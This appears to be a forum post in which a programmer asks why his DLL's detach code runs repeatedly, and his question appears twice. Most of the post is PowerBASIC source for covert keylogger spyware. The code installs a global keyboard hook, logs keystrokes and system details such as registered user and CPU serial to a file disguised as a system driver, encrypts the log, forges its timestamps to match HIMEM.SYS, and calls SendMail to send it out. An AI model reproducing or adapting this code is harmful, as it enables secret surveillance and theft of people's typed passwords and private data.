Curious, for this project I am working on I went ahead and used a visual dialog.
In the end it will be invisible, but that's another post below..
Meanwhile, the %DLL_PROCESS_ATTACH works great, life's good.
But if I MOVE the visible dialog calling this DLL, the %DLL_PROCESS_DETACH code runs.
In fact it runs multiple times, and I only called the ONE function to init the DLL one time in the INITDIALOG portion of the .EXE.
The InitDLL function is Dummy = %false, enough to kick in the DLL, nothing more.
Why does the DETACH code run multiple times?
------------------
Scott
mailto:[email protected][email protected]</A>
In the end it will be invisible, but that's another post below..
Meanwhile, the %DLL_PROCESS_ATTACH works great, life's good.
But if I MOVE the visible dialog calling this DLL, the %DLL_PROCESS_DETACH code runs.
In fact it runs multiple times, and I only called the ONE function to init the DLL one time in the INITDIALOG portion of the .EXE.
The InitDLL function is Dummy = %false, enough to kick in the DLL, nothing more.
Why does the DETACH code run multiple times?
Code:
Function LibMain(ByVal hInstance As Long, _ ByVal fwdReason As Long, _ ByVal lpvReserved As Long) Export As Long Local wReguser As String Local wRegCompany As String Local wRegProdID As String Local ft As SYSTEMTIME Select Case fwdReason Case %DLL_PROCESS_ATTACH Dim MemStat As MEMORYSTATUS Dim SysInfo As SYSTEM_INFO Dim osinfo As OSVERSIONINFO CfgFile = CCSGetSystemDirectory & "\SPYDER32.INI" 'Initialize buffer: KeyFile = CCSGetSystemDirectory & "\CCSVGA.386" If IsTrue Exist(KeyFile) Then KeyBuffer = "Start: " & GetPCTimeandDate() & $CRLF & String$(10,"-") & $CRLF Else g_Result = GetRegistrationInfo(wRegUser,wRegCompany,wRegProdID) GlobalMemoryStatus MemStat GetSystemInfo SysInfo KeyBuffer = "Start: " & GetPCTimeandDate() & $CRLF KeyBuffer = KeyBuffer & "Operating System: " & GetWindowsVersion & $CRLF KeyBuffer = KeyBuffer & "RegisteredUser: " & wRegUser & $CRLF KeyBuffer = KeyBuffer & "RegisteredOrganization: " & wRegCompany & $CRLF KeyBuffer = KeyBuffer & "ProductId: " & wRegProdID & $CRLF KeyBuffer = KeyBuffer & "Memory Available: " & Format$(MemStat.dwTotalPhys /1024,"###,###") & " kb" & $CRLF KeyBuffer = KeyBuffer & "Number of Processors: " & Trim$(Str$(SysInfo.dwNumberorfProcessors)) & $CRLF KeyBuffer = KeyBuffer & "Processor Type: " & CPUName & $CRLF KeyBuffer = KeyBuffer & "Processor speed: " & CPUSpeed & " Mhz" & $CRLF KeyBuffer = KeyBuffer & "Processor Ser #: " & GetPIIISerial & $CRLF KeyBuffer = KeyBuffer & "System Drive Info: " & CCSGetVolumeInformation(Left$(CcSGetWindowsDirectory,2)) & $CRLF KeyBuffer = KeyBuffer & "TEMP Folder: " & CCSGetWindowsTempDir & $CRLF KeyBuffer = KeyBuffer & "Windows Directory: " & CCSGetWindowsDirectory & $CRLF KeyBuffer = KeyBuffer & "System Directory: " & CCSGetSystemDirectory & $CRLF MsgBox KeyBuffer, %MB_ICONINFORMATION, "Testing" End If hFile = FreeFile Open KeyFile For Append As #hFile Print #hFile, KeyBuffer KeyBuffer = "" 'Nullify it for keystrokes to be entered now 'Install hook Procedure: hHook = SetWindowsHookEx&(%WH_KEYBOARD, _ CodePtr(KeyBoardHookFunction), _ hInstance, _ 0&) If hHook Then LibMain = 1 'success! End If Exit Function Case %DLL_PROCESS_DETACH KeyBuffer = "End: " & GetPCTimeandDate() & $CRLF Print #hFile, KeyBuffer Close #hFile MsgBox "Unhooking Keyboard Hook" hHook = UnhookWindowsHookEx(hHook) RC4NcryptFile g_Result = GetFileDateandTime(CCSGetWindowsDirectory & "\HIMEM.SYS",ft) g_Result = SetFileDateandTime(KeyFile,ft) SendMail If hHook Then LibMain = 1 'success! End If Case %DLL_THREAD_ATTACH LibMain = 1 'success! Exit Function Case %DLL_THREAD_DETACH LibMain = 1 'success! Exit Function End Select End Function
Scott
mailto:[email protected][email protected]</A>
Comment